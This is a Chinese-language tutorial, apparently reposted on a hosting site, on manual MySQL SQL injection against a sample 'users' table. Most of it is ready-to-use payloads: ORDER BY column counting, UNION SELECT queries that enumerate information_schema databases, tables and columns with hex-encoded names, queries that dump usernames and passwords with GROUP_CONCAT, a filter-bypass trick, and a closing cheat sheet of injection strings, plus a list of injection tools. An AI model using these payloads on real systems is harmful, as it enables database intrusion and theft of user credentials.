您好,登錄后才能下訂單哦!
information_schema
SQL(structured query language),即結構化查詢語言,是關系數據庫的標準語言,SQL是一個通用的、功能強大的關系數據庫語言,但其功能并不僅僅是查詢。
MySQL是一個關系型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬于 Oracle 旗下產品。另外,MySQL是一種關聯數據庫管理系統,關聯數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加了速度并提高了靈活性。來源于百度百科
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。簡單來說,SQL注入就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改后臺SQL語句達到代碼執行從而進行***的技術。
出現SQL注入***漏洞的主要原因是:許多網頁程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行嚴格的判斷和過濾,從而導致應用程序存在該漏洞。
對于mysql注入常用的方法主要是以下兩種:
(1)手工注入。
(2)使用工具注入
在mysql手工注入中主要是利用mysql自帶的information_schema數據庫,information_schema這個數據庫保存了MySQL服務器所有數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。簡單點說,這臺MySQL服務器上,到底有哪些數據庫、各個數據庫有哪些表,每張表的字段類型是什么,各個數據庫要什么權限才能訪問,等等信息都保存在information_schema數據庫里面。
涉及數據庫:learn,涉及表:users。
表users
and 1=1(正常顯示), and 1=2(非正常顯示) ,但不限于此。也可以是3>1(正常顯示),3>5(非正常顯示)等。
本身查詢語句為:SELECT uid,username FROM users WHERE uid=1
本身查詢語句
SELECT uid,username FROM users WHERE uid=1 and 1=1
正常顯示
SELECT uid,username FROM users WHERE uid=1 and 1=2
非正常顯示
order by 主要是用于排序,用法基本為:order by <列名> [ASC | DESC]
列名可以是select后面的列名,也可以是數字,代表第一列或第幾列!查詢字段數也是根據order by排序的列名可以是數字來進行判斷的。
本身查詢語句:SELECT uid,username,phone FROM users WHERE uid=1
本身查詢結果
查當前字段數目(列數):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3
正常顯示
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4
非正常顯示
因為當前頁面查詢的語句中只查詢三個字段,所以當輸入按照第四列來進行排序是就會出現異常。所以我們可用通過折半來進行查詢列數,前一個正常,后一個異常,那么該正常的就是當前查詢中的列數。
聯合查詢數據顯示位置,不成立條件+union select(如果前面是成立的話頁面中會看不到想要的信息),也可以是 前面條件不變+union select + limit m,1。(如果看到頁面中信息有union select查詢中的數字時,那么也是可以看到字段顯示在頁面中的位置,但是如果查詢信息過多的話則不適用,因此推薦使用前面的那種方式)。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3
顯示查詢字段在頁面中的位置
查詢基本信息主要是利用數據庫中的內置函數來獲取信息。
1. version()——MySQL版本
2. user()——用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5. @@version_compile_os——操作系統版本
我們可以通過將對應函數放到頁面顯示位中的位置數來查出相應信息并顯示在頁面中。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()
查詢基本信息
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()
查詢基本信息
另外,我們可以使用字符串連接函數一次性查詢多條信息:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)
0x3B是分隔符, ; 的十六進制!
使用連接函數查詢多條信息
連接函數例子
高級查數據庫:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1
LIMIT 9,1是從第9個數據庫開始查詢一條記錄,使用這個可以逐個查詢數據庫中有哪些數據庫。
高級查數據庫
只運行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3
limit m,n 例子
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
查詢當前連接中有哪些數據庫
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS
查詢當前連接中有哪些數據庫
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a
報錯
這里需要將數據庫名轉化為十六進制
轉化為十六進制
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a
查詢指定數據庫表名
只運行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E
原理
原理
高級查表SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
查字段
這里可通過limit m,n循環查詢,也可使用GROUP_CONCAT函數一次性查詢。
一次性查詢
只運行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273
原理
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
原理
這里可以使用limit m,n來逐個(limit m,1)查詢。
高級查字段SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
查字段
查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users
查字段內容
這里可使用limit m,1來逐個查詢,也可以使用GROUP_CONCAT函數一次性查詢。
使用連接函數
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users
連接函數一次性查詢
對于使用工具來進行注入,最好時首先手工判斷下,如果是或者懷疑是,那么就可以丟給工具來進行注入。
工具有但不限于以下幾種:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。
工具注入是可以節省很多時間,但是僅僅靠工具也不一定能利用該漏洞,因為工具有自己的局限性,不如手工那么靈活,簡單來說,如果應用程序有了一定的過濾,那么就需要靈活地使用手工注入,如果程序在把查詢語句插入到數據庫中時把<>過濾了,那么就可以根據這一特性進行簡單的繞過,如u<>ni<>on s<>el<>ect 1,2,3。
用于加深對上面涉及到的相關信息的理解。詳細信息請自行查看information_schema數據庫里面涉及的相關表信息!
information_schema
information_schema.columns
information_schema.schemata
information_schema.processlist
information_schema.tables
information_schema.partitions
以上這么復雜純屬裝逼,下面分享簡單版的mysql手工注入!
UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata 查所有數據庫
UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='庫名' 查表
UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn' 查字段
union select group_concat(字段,字段) from 表名
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。